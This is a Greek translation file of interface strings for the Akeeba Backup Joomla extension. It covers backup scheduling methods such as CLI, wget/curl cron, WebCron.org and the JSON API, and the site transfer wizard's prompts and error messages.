COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO="Θυμηθείτε να αντικαταστήσετε το <em>%s</em> με την πραγματική διαδρομή προς το εκτελέσιμο PHP <strong>CLI (Διεπαφή Γραμμής Εντολών)</strong> του κεντρικού υπολογιστή σας. Θυμηθείτε ότι πρέπει να χρησιμοποιείτε το εκτελέσιμο PHP CLI· το εκτελέσιμο PHP CGI (Κοινή Διεπαφή Πύλης) <em>δεν</em> θα λειτουργήσει με την εφαρμογή CLI του Joomla. Αν δεν είστε σίγουροι τι σημαίνει αυτό, παρακαλώ συμβουλευτείτε τον κεντρικό υπολογιστή σας. Μόνο αυτοί μπορούν να παρέχουν αυτές τις πληροφορίες."
COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO="Το Akeeba Backup εντόπισε ότι η <em>πιο πιθανή</em> διαδρομή προς PHP CLI είναι <code>%s</code> και τη χρησιμοποίησε στη γραμμή εντολών που εμφανίζεται παραπάνω. Αν αυτό δεν λειτουργεί, αντικαταστήστε το <code>%1$s</code> με την πραγματική διαδρομή προς το εκτελέσιμο PHP <strong>CLI (Διεπαφή Γραμμής Εντολών)</strong> του κεντρικού υπολογιστή σας. Αυτή είναι πληροφορία που ο κεντρικός υπολογιστής σας θα μπορεί να σας παράσχει."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP="Λειτουργία Αντιγράφου Ασφαλείας Front-end"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_INFO="Αυτή η μέθοδος χρησιμοποιεί μια δημόσια URL και ένα μυστικό κλειδί για την ενεργοποίηση αντιγράφου ασφαλείας του ιστότοπού σας. Το αντίγραφο ασφαλείας προχωρά μέσω ανακατευθύνσεων HTTP. Σημειώστε ότι οι περισσότερες εργασίες «CRON» που βασίζονται σε URL των κεντρικών υπολογιστών, καθώς και οι περισσότερες υπηρεσίες CRON τρίτων που βασίζονται σε URL, δεν υποστηρίζουν ανακατευθύνσεις HTTP. Αν τα παραδείγματα με wget και curl παρακάτω δεν λειτουργούν για εσάς, χρησιμοποιήστε τη URL αντιγράφου ασφαλείας front-end με την πολύ οικονομική υπηρεσία τρίτων webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS="Η λειτουργία αντιγράφου ασφαλείας front-end μπορεί να χρησιμοποιηθεί με μεγάλη ποικιλία μεθόδων. Κάντε κλικ στις καρτέλες παρακάτω για να δείτε την περιγραφή κάθε μεθόδου. Θυμηθείτε ότι όλες εξηγούνται λεπτομερώς στην τεκμηρίωσή μας."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL="cURL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT="Σενάριο PHP"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL="URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON="WebCron.org"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET="WGet"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK="Λειτουργία Ελέγχου Αντιγράφου Ασφαλείας Front-end"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL="Προγραμματισμός CRON με curl (macOS, Linux, ορισμένοι κεντρικοί υπολογιστές):"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT="Προσαρμοσμένο σενάριο PHP για εκτέλεση αντιγράφου ασφαλείας front-end:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_DISABLED="Η λειτουργία αντιγράφου ασφαλείας front-end του Akeeba Backup δεν είναι ενεργοποιημένη. Δεν μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο προγραμματισμού εκτός αν την ενεργοποιήσετε. Παρακαλώ μεταβείτε στον Πίνακα Ελέγχου του Akeeba Backup, κάντε κλικ στο κουμπί Επιλογές στη γραμμή εργαλείων και ενεργοποιήστε τη λειτουργία αντιγράφου ασφαλείας front-end. Μην ξεχάσετε να ορίσετε επίσης μια μυστική λέξη της επιλογής σας."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL="URL για χρήση με τα δικά σας σενάρια και υπηρεσίες τρίτων:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET="Το μυστικό κλειδί της λειτουργίας αντιγράφου ασφαλείας front-end είναι κενό. Δεν μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο προγραμματισμού εκτός αν δημιουργήσετε ένα μυστικό κλειδί. Παρακαλώ συνδεθείτε στο back-end του ιστότοπού σας ως Super Διαχειριστής, μεταβείτε στον Πίνακα Ελέγχου του Akeeba Backup, κάντε κλικ στο εικονίδιο Επιλογές στην επάνω δεξιά γωνία και εισαγάγετε ένα μυστικό κλειδί της επιλογής σας."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON="Ρύθμιση μιας εργασίας αντιγράφου ασφαλείας με WebCron.org:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS="Ειδοποιήσεις"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO="Αν έχετε ήδη ρυθμίσει μεθόδους ειδοποίησης στη διεπαφή του webcron.org, συνιστούμε να επιλέξετε εδώ μια μέθοδο ειδοποίησης και να μην επιλέξετε «Μόνο σε σφάλμα» ώστε να λαμβάνετε πάντα ειδοποίηση όταν εκτελείται η εργασία CRON αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME="Χρόνος εκτέλεσης"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO="Αυτό είναι το πλέγμα κάτω από τις άλλες επιλογές. Επιλέξτε πότε και πόσο συχνά θέλετε να εκτελείται η εργασία CRON σας."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO="Συνδεθείτε στο webcron.org. Στην περιοχή CRON, κάντε κλικ στο κουμπί Νέο Cron. Παρακάτω θα βρείτε τι πρέπει να εισαγάγετε στη διεπαφή του webcron.org."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN="Σύνδεση"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO="Αφήστε αυτό κενό"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME="Όνομα εργασίας cron"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO="Ο,τιδήποτε σας αρέσει, π.χ. <em>Αντίγραφο ασφαλείας του ιστότοπού μου</em>"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT="Τέλος, κάντε κλικ στο κουμπί Υποβολή για να ολοκληρώσετε τη ρύθμιση της εργασίας CRON σας."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT="Χρονικό όριο"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO="180 δευτερόλεπτα· αν το αντίγραφο ασφαλείας δεν ολοκληρωθεί, αυξήστε το. Οι περισσότεροι ιστότοποι θα λειτουργούν με ρύθμιση 180 ή 600 εδώ. Αν έχετε έναν πολύ μεγάλο ιστότοπο που χρειάζεται περισσότερα από 5 λεπτά για να δημιουργήσει αντίγραφο ασφαλείας, ίσως να εξετάσετε το ενδεχόμενο να χρησιμοποιήσετε το Akeeba Backup Professional και την εγγενή εργασία CRON CLI αντί, καθώς είναι πολύ πιο αποδοτική."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL="URL που θέλετε να εκτελεστεί"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET="Προγραμματισμός CRON με wget (οι περισσότεροι κεντρικοί υπολογιστές, οι περισσότερες διανομές Linux):"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC="Διαβάστε την τεκμηρίωση"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI="Χρησιμοποιήστε την παρακάτω εντολή στη διεπαφή CRON του κεντρικού υπολογιστή σας:"
COM_AKEEBABACKUP_SCHEDULE_LBL_HEADERINFO="Το Akeeba Backup προσφέρει πολλές μεθόδους προγραμματισμού. Θα βρείτε περισσότερες πληροφορίες για κάθε μέθοδο προγραμματισμού παρακάτω. Παρακαλώ διαβάστε την τεκμηρίωση κάθε μεθόδου προγραμματισμού. Θα απαντήσει σε πολλές από τις ερωτήσεις σας και θα σας βοηθήσει να προγραμματίσετε τα αντίγραφα ασφαλείας σας πιο εύκολα."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP="Λειτουργία Απομακρυσμένης Δημιουργίας Αντιγράφων Ασφαλείας (JSON API)"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP_INFO="Μπορείτε να χρησιμοποιήσετε αυτή τη μέθοδο για να δημιουργείτε αντίγραφα ασφαλείας του ιστότοπού σας εξ αποστάσεως χρησιμοποιώντας λογισμικό μας που υποστηρίζει αυτή τη λειτουργία (π.χ. Akeeba Remote CLI και Akeeba UNiTE)."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISABLED="Παρακαλώ μεταβείτε στο Akeeba Backup, κάντε κλικ στις Επιλογές και μετά στην καρτέλα Frontend. Ορίστε «Ενεργοποίηση JSON API (απομακρυσμένο αντίγραφο ασφαλείας)» σε Ναι για να ενεργοποιήσετε αυτή τη λειτουργία."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI="Akeeba Remote CLI"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_INTRO="Μπορείτε να χρησιμοποιήσετε την εφαρμογή γραμμής εντολών Akeeba Remote CLI για να δημιουργείτε αντίγραφα ασφαλείας των ιστότοπών σας εξ αποστάσεως. Μπορείτε να προγραμματίσετε αυτές τις εντολές στον υπολογιστή σας, ή σε άλλο διακομιστή, για να αυτοματοποιήσετε τα αντίγραφα ασφαλείας σας."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_DOCKER="Για να δημιουργήσετε αντίγραφο ασφαλείας χρησιμοποιώντας το Akeeba Remote CLI μέσω <strong>Docker</strong> εκτελέστε την παρακάτω εντολή:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_PHAR="Για να δημιουργήσετε αντίγραφο ασφαλείας χρησιμοποιώντας το Akeeba Remote CLI με το <strong>αρχείο PHAR</strong> που μπορείτε να κατεβάσετε από τον ιστότοπό μας εκτελέστε την παρακάτω εντολή:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_OTHER="Άλλα εργαλεία"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_INTRO="Αν χρησιμοποιείτε Akeeba UNiTE ή άλλο λογισμικό που χρησιμοποιεί το Remote JSON API, θα πρέπει να παράσχετε τις παρακάτω πληροφορίες."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ENDPOINT="URL τελικού σημείου"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_SECRET="Μυστικό Κλειδί"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISCLAIMER="Η Akeeba Ltd δεν εγκρίνει, δεν αποδέχεται ευθύνη και δεν παρέχει υποστήριξη για λογισμικό ή υπηρεσίες τρίτων που διασυνδέονται με το Akeeba Backup μέσω του JSON API. Θα παρέχουμε υποστήριξη για τη δημιουργία αντιγράφων ασφαλείας με το Akeeba JSON API μόνο αν το Μυστικό Κλειδί δημιουργείται αυτόματα από το λογισμικό μας και το αίτημα αφορά τη χρήση του δικού μας λογισμικού-πελάτη Akeeba JSON API (π.χ. Akeeba Remote CLI)."
COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED="Παρακαλώ μεταβείτε στο Akeeba Backup, κάντε κλικ στις Επιλογές και μετά στην καρτέλα Frontend. Ορίστε «Ενεργοποίηση Legacy Front-end Backup API (απομακρυσμένες εργασίες CRON)» σε Ναι για να ενεργοποιήσετε αυτή τη λειτουργία."
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI="Ενεργοποίηση του Legacy Front-end Backup API"
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_JSONAPI="Ενεργοποίηση του Akeeba JSON API"
COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD="Επαναφορά του Μυστικού Κλειδιού"
COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS="Εκτέλεση Αντιγράφων Ασφαλείας"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADENOW="Αναβάθμιση Τώρα"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADETOPRO="Αυτή η λειτουργία είναι διαθέσιμη μόνο στο Akeeba Backup Professional"
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD="Το πρόσθετο <em>Console – Akeeba Backup</em> είναι απενεργοποιημένο."
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY="Παρακαλώ μεταβείτε στο Σύστημα, Διαχείριση, Πρόσθετα και ενεργοποιήστε το «Console – Akeeba Backup». Είναι απαραίτητο για τη λειτουργία αυτής της δυνατότητας."

COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS="Έλεγχος Μεταφορτώσεων Αντιγράφων Ασφαλείας"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS_HEADERINFO="<p>Όταν ένα αντίγραφο ασφαλείας αποτυγχάνει να μεταφορτώσει το αντίγραφο ασφαλείας στη ρυθμισμένη απομακρυσμένη αποθήκευσή του, συνήθως δεν θεωρείται αποτυχία αντιγράφου ασφαλείας (εκτός αν έχετε επιλέξει ρητά να το αντιμετωπίζετε ως αποτυχία). Αυτό συμβαίνει επειδή το αρχείο αντιγράφου ασφαλείας εξακολουθεί να υπάρχει στον διακομιστή σας. Χρειάζεται, ωστόσο, να επιστρέψετε στον ιστότοπό σας και να επαναλάβετε τη μεταφόρτωση από τη σελίδα Διαχείρισης Αντιγράφων Ασφαλείας – ίσως διορθώνοντας και τυχόν προβλήματα σύνδεσης με την απομακρυσμένη αποθήκευση.</p><p>Το τυπικό πρόβλημα με αυτό είναι ότι ίσως να μην γνωρίζετε ότι η μεταφόρτωση απέτυχε. Εδώ έρχεται ο έλεγχος μεταφορτώσεων αντιγράφων ασφαλείας. Προγραμματίστε τον να εκτελείται μετά την κανονική ολοκλήρωση των προγραμματισμένων αντιγράφων ασφαλείας σας, και θα σας στείλει email αν οποιοδήποτε από τα αντίγραφα ασφαλείας σας που ελήφθησαν από την τελευταία φορά που εκτελέστηκε ο έλεγχος απέτυχε να μεταφορτωθεί στη ρυθμισμένη απομακρυσμένη αποθήκευσή του.</p><p>Μπορείτε να προγραμματίσετε αυτόν τον έλεγχο με πολλές διαφορετικές μεθόδους, όπως ακριβώς και το ίδιο το αντίγραφο ασφαλείας. Παρακάτω θα βρείτε περισσότερες πληροφορίες για κάθε διαθέσιμη μέθοδο προγραμματισμού ελέγχων μεταφορτώσεων αντιγράφων ασφαλείας. Αν δεν είστε σίγουροι ποια να χρησιμοποιήσετε, συνιστούμε να χρησιμοποιήσετε την ίδια μέθοδο προγραμματισμού με τα αντίγραφα ασφαλείας σας.</p>"


COM_AKEEBABACKUP_TITLE_ALICES="Εργαλείο Αντιμετώπισης Προβλημάτων - ALICE"

COM_AKEEBABACKUP_TRANSFER="Οδηγός Μεταφοράς Ιστότοπου"
COM_AKEEBABACKUP_TRANSFER_BTN_FTP_PROCEED="Προχωρήστε με την επαναφορά"
COM_AKEEBABACKUP_TRANSFER_BTN_OPEN_KICKSTART="Εκτέλεση Kickstart"
COM_AKEEBABACKUP_TRANSFER_BTN_RESET="Επαναφορά"
COM_AKEEBABACKUP_TRANSFER_DESC="Μεταφέρει το αρχείο εκτελώντας τη μηχανή μεταεπεξεργασίας \"%s\" στο αρχείο."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTACCESSTESTFILE="Το Akeeba Backup δεν μπορεί να επαληθεύσει ότι οι πληροφορίες σύνδεσης που εισαγάγατε αντιστοιχούν στη διεύθυνση URL του ιστότοπου που έχετε εισαγάγει. Αν προσπαθείτε να επαναφέρετε σε έναν υποκατάλογο ενός υπάρχοντος ιστότοπου, αυτό σημαίνει ότι ο κύριος ιστότοπος αποκλείει την πρόσβαση στον υποκατάλογο· παρακαλώ επικοινωνήστε με τον διαχειριστή του ιστότοπού σας. Σε κάθε άλλη περίπτωση έχετε εισαγάγει λανθασμένες πληροφορίες σύνδεσης, πιθανότατα λανθασμένο κατάλογο. Παρακαλώ επικοινωνήστε με τον κεντρικό υπολογιστή σας και ζητήστε τις σωστές πληροφορίες σύνδεσης, <em>συμπεριλαμβανομένου του καταλόγου</em>, που αντιστοιχεί στη διεύθυνση URL που έχετε εισαγάγει σε αυτόν τον οδηγό. Στη συνέχεια επιστρέψτε εδώ, εισαγάγετε τις σωστές πληροφορίες και συνεχίστε με την επαναφορά."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE="Το Akeeba Backup δεν μπορεί να διαβάσει από το τοπικό αρχείο αντιγράφου ασφαλείας <code>%s</code>. Αυτός ο οδηγός απέτυχε. Παρακαλώ λάβετε νέο αντίγραφο ασφαλείας και δοκιμάστε ξανά. Σημειώστε ότι αρχεία έχουν απομείνει στον νέο διακομιστή σας· ίσως θέλετε να τα αφαιρέσετε χειροκίνητα."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART="Το Akeeba Backup δεν μπορεί να εκτελέσει το Akeeba Kickstart στον νέο ιστότοπό σας. Αν προσπαθείτε να επαναφέρετε σε έναν υποκατάλογο ενός υπάρχοντος ιστότοπου, αυτό σημαίνει ότι ο κύριος ιστότοπος αποκλείει την πρόσβαση στον υποκατάλογο· παρακαλώ επικοινωνήστε με τον διαχειριστή του ιστότοπού σας. Σε κάθε άλλη περίπτωση, επικοινωνήστε με τον κεντρικό υπολογιστή σας και επαληθεύστε ότι η προεπιλεγμένη έκδοση PHP πληροί τις ελάχιστες απαιτήσεις του Kickstart."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE="Το Akeeba Backup δεν μπορεί να μεταφορτώσει το αρχείο αντιγράφου ασφαλείας <code>%s</code>. Είναι πιθανό ο διακομιστής του νέου ιστότοπού σας να έχει εξαντλήσει τον χώρο δίσκου ή κάποια προστασία διακομιστή να εμποδίζει τη μετάδοση δεδομένων. Παρακαλώ δοκιμάστε να μεταφέρετε τον ιστότοπό σας επιλέγοντας την επιλογή Χειροκίνητης μεταφοράς. Σημειώστε ότι αρχεία έχουν απομείνει στον νέο διακομιστή σας· ίσως θέλετε να τα αφαιρέσετε χειροκίνητα."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADKICKSTART="Το Akeeba Backup δεν μπορεί να μεταφορτώσει το Akeeba Kickstart στον ριζικό κατάλογο του νέου ιστότοπού σας. Παρακαλώ ελέγξτε ότι έχετε εισαγάγει τις σωστές πληροφορίες σύνδεσης και ότι ο χρήστης FTP/SFTP μπορεί να εγγράφει αρχεία στον κατάλογο που επιλέξατε. Αν έχετε ήδη το kickstart.php και το kickstart.transfer.php στον απομακρυσμένο ιστότοπο, παρακαλώ αφαιρέστε τα πριν επαναλάβετε τη μεταφορά του ιστότοπού σας."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTEMP="Το Akeeba Backup δεν μπορεί να μεταφορτώσει ένα τμήμα του αρχείου αντιγράφου ασφαλείας σας από το τοπικό αρχείο <code>%s</code> στο απομακρυσμένο αρχείο <code>%s</code>. Παρακαλώ ελέγξτε ότι ο απομακρυσμένος διακομιστής σας επιτρέπει τη μεταφόρτωση αρχείων και υπάρχει αρκετός χώρος δίσκου για τα αρχεία αντιγράφου ασφαλείας σας."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTESTFILE="Το Akeeba Backup δεν μπορεί να μεταφορτώσει ένα δοκιμαστικό αρχείο με όνομα <code>%s</code> στον ριζικό κατάλογο του νέου ιστότοπού σας. Παρακαλώ ελέγξτε ότι έχετε εισαγάγει τις σωστές πληροφορίες σύνδεσης και ότι ο χρήστης FTP/SFTP μπορεί να εγγράφει αρχεία στον κατάλογο που επιλέξατε."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTWRITEREMOTEFILES="Δυστυχώς, το Akeeba Backup διαπίστωσε ότι δεν μπορεί να εγγράφει απευθείας αρχεία στον απομακρυσμένο διακομιστή σας. Αυτός ο οδηγός δεν μπορεί να συνεχίσει. Θα πρέπει να χρησιμοποιήσετε τη μέθοδο μεταφοράς \"Χειροκίνητα\"."
COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK="Αδυναμία δημιουργίας προσωρινού αρχείου σε αυτόν τον διακομιστή. Παρακαλώ ελέγξτε ότι ο προσωρινός κατάλογός σας είναι σωστά ρυθμισμένος και εγγράψιμος από τον χρήστη που εκτελεί τον διακομιστή ιστού."
COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP="Δεν βρέθηκε τέτοιο αντίγραφο ασφαλείας. Κάντε κλικ στο κουμπί Δημιουργία Αντιγράφου Ασφαλείας Τώρα για να δημιουργήσετε νέο αντίγραφο ασφαλείας."
COM_AKEEBABACKUP_TRANSFER_ERR_DNS="Το όνομα τομέα της URL που εισαγάγατε (%s) δεν μπορεί να επιλυθεί από τον διακομιστή όπου εκτελείται το Akeeba Backup. Αν έχετε εγγράψει ή μεταφέρει πρόσφατα το όνομα τομέα, παρακαλώ δώστε περισσότερο χρόνο μέχρι να ενημερωθούν οι διακομιστές DNS (συνήθως 6 έως 48 ώρες). Διαφορετικά, παρακαλώ ελέγξτε τις ρυθμίσεις DNS του ονόματος τομέα σας."
COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE="Το Akeeba Backup έλαβε σφάλμα από τον απομακρυσμένο διακομιστή κατά την προσπάθεια μεταφόρτωσης του αρχείου αντιγράφου ασφαλείας. Το σφάλμα ήταν: %s"
COM_AKEEBABACKUP_TRANSFER_ERR_EXISTINGSITE="Ένας άλλος ιστότοπος υπάρχει ήδη σε αυτή την τοποθεσία. Παρακαλώ αφαιρέστε τον υπάρχοντα ιστότοπο πριν μεταφέρετε νέο ιστότοπο εκεί. Η προσπάθεια αντικατάστασης ενός υπάρχοντος ιστότοπου πιθανότατα θα έχει ως αποτέλεσμα έναν κατεστραμμένο ιστότοπο που δεν θα μπορείτε να διορθώσετε."
COM_AKEEBABACKUP_TRANSFER_ERR_HTACCESS="Βρέθηκε αρχείο <code>%s</code> στον ριζικό κατάλογο του νέου ιστότοπού σας. Αυτό το αρχείο μπορεί να παρεμβαίνει στη διαδικασία μεταφοράς ιστότοπου. Παρακαλώ αφαιρέστε το πριν προχωρήσετε με τη μεταφορά ιστότοπου. Σημειώστε ότι το αρχείο μπορεί να είναι <em>κρυφό</em>. Αν δεν βλέπετε αυτό το αρχείο στον περιηγητή αρχείων του πίνακα ελέγχου φιλοξενίας ή στο λογισμικό-πελάτη FTP, παρακαλώ ζητήστε από τον κεντρικό υπολογιστή σας περισσότερες πληροφορίες για την αφαίρεση αυτού του αρχείου."
COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID="Εσωτερικό σφάλμα: το αναγνωριστικό αντιγράφου ασφαλείας για μεταφόρτωση δεν είναι έγκυρο ή λείπει."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN="Έλεγχος"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN_IGNOREERROR="Θέλω να αγνοήσω αυτή την προειδοποίηση και να συνεχίσω <strong>με δική μου ευθύνη</strong>"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_INVALID="Η URL που εισαγάγατε δεν είναι έγκυρη."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_NOTEXISTS="Ο διακομιστής σας δεν μπορεί να αποκτήσει πρόσβαση στη URL που εισαγάγατε. Παρακαλώ ελέγξτε ότι την πληκτρολογήσατε σωστά. Επίσης σημειώστε ότι τα πρόσφατα εκχωρημένα ή μεταφερμένα ονόματα τομέα μπορεί να χρειαστούν <strong>έως 48 ώρες</strong> για να είναι ορατά από κάθε διακομιστή και υπολογιστή συνδεδεμένο στο Διαδίκτυο."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_SAME="Η URL που εισαγάγατε είναι ίδια με αυτή από την οποία επαναφέρετε. Αυτό δεν υποστηρίζεται από αυτόν τον οδηγό. Για επαναφορά αντιγράφου ασφαλείας χωρίς χρήση του οδηγού, παρακαλώ συμβουλευτείτε το βιντεοεκπαιδευτικό μάθημά μας ακολουθώντας τον παρακάτω σύνδεσμο."
COM_AKEEBABACKUP_TRANSFER_ERR_NOTENOUGHSPACE="Η μεταφορά ιστότοπου δεν μπορεί να συνεχιστεί. Χρειάζεστε περίπου %s ελεύθερο χώρο, αλλά ο διακομιστής σας αναφέρει ότι αυτή τη στιγμή υπάρχουν μόνο %s διαθέσιμα. Παρακαλώ ελευθερώστε περισσότερο χώρο στον διακομιστή σας."
COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE="Αγνόηση εντοπισμένων σφαλμάτων και μεταφορά του ιστότοπου ούτως ή άλλως"
COM_AKEEBABACKUP_TRANSFER_ERR_SAMESITE="Έχετε εισαγάγει τις πληροφορίες σύνδεσης του ιστότοπου από τον οποίο μεταφέρετε. <strong>Το λάθος σας θα είχε διαγράψει τον δικό σας ιστότοπο</strong>. Πρέπει να εισαγάγετε τις πληροφορίες σύνδεσης FTP/SFTP του ιστότοπου <strong>προς τον οποίο</strong> μεταφέρετε (νέος ιστότοπος ή νέος διακομιστής). Παρακαλώ διορθώστε τις πληροφορίες παραπάνω και δοκιμάστε ξανά."
COM_AKEEBABACKUP_TRANSFER_ERR_SPACE="Έχετε μόνο <span></span> ελεύθερο χώρο. Χρειάζεστε περισσότερο ελεύθερο χώρο για να μεταφέρετε τον ιστότοπό σας. Παρακαλώ επικοινωνήστε με τον κεντρικό υπολογιστή σας."
COM_AKEEBABACKUP_TRANSFER_ERR_WRONGSSL="Ο ιστότοπός σας έχει μη έγκυρο ή αυτο-υπογεγραμμένο πιστοποιητικό SSL. Για λόγους ασφαλείας η μεταφορά ιστότοπου δεν μπορεί να συνεχιστεί. Παρακαλώ κάντε κλικ στην Επαναφορά για να επανεκκινήσετε τη μεταφορά ιστότοπου και χρησιμοποιήστε μια URL χωρίς <code>https://</code>. Αυτό είναι απαραίτητο όταν προσπαθείτε να μεταφέρετε τον ιστότοπό σας πριν μεταφέρετε το όνομα τομέα σας στο νέο κεντρικό υπολογιστή. Εναλλακτικά, παρακαλώ επικοινωνήστε με τον κεντρικό υπολογιστή σας για απόκτηση έγκυρου πιστοποιητικού SSL. Ακόμα και ένα δωρεάν που εκδίδεται μέσω της αρχής πιστοποίησης Let's Encrypt χωρίς κόστος θα κάνει."
COM_AKEEBABACKUP_TRANSFER_FORCE_BODY="Εκτελείτε τον Οδηγό Μεταφοράς Ιστότοπου σε Αναγκαστική Λειτουργία. Αυτό σημαίνει ότι ορισμένοι έλεγχοι ορθότητας που κανονικά εκτελούνται πριν από τη μεταφορά ιστότοπου δεν θα εκτελεστούν. Ως αποτέλεσμα, η μεταφορά μπορεί να αντικαταστήσει έναν υπάρχοντα ιστότοπο, να καταλήξει σε διαφορετική URL από αυτή που αναμένατε ή απλά να αποτύχει. <strong>Αυτή είναι μια λειτουργία για προχωρημένους χρήστες. Παρακαλώ μη συνεχίσετε αν δεν αισθάνεστε άνετα με αυτό.</strong>"
COM_AKEEBABACKUP_TRANSFER_FORCE_HEADER="Αναγκαστική Λειτουργία ενεργοποιήθηκε"
COM_AKEEBABACKUP_TRANSFER_HEAD_MANUALTRANSFER="Χειροκίνητη μεταφορά"
COM_AKEEBABACKUP_TRANSFER_HEAD_PREREQUISITES="Προαπαιτούμενα"
COM_AKEEBABACKUP_TRANSFER_HEAD_REMOTECONNECTION="Σύνδεση στον Νέο Ιστότοπο"
COM_AKEEBABACKUP_TRANSFER_HEAD_UPLOAD="Μεταφόρτωση και επαναφορά"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE="Μέγεθος τμήματος"
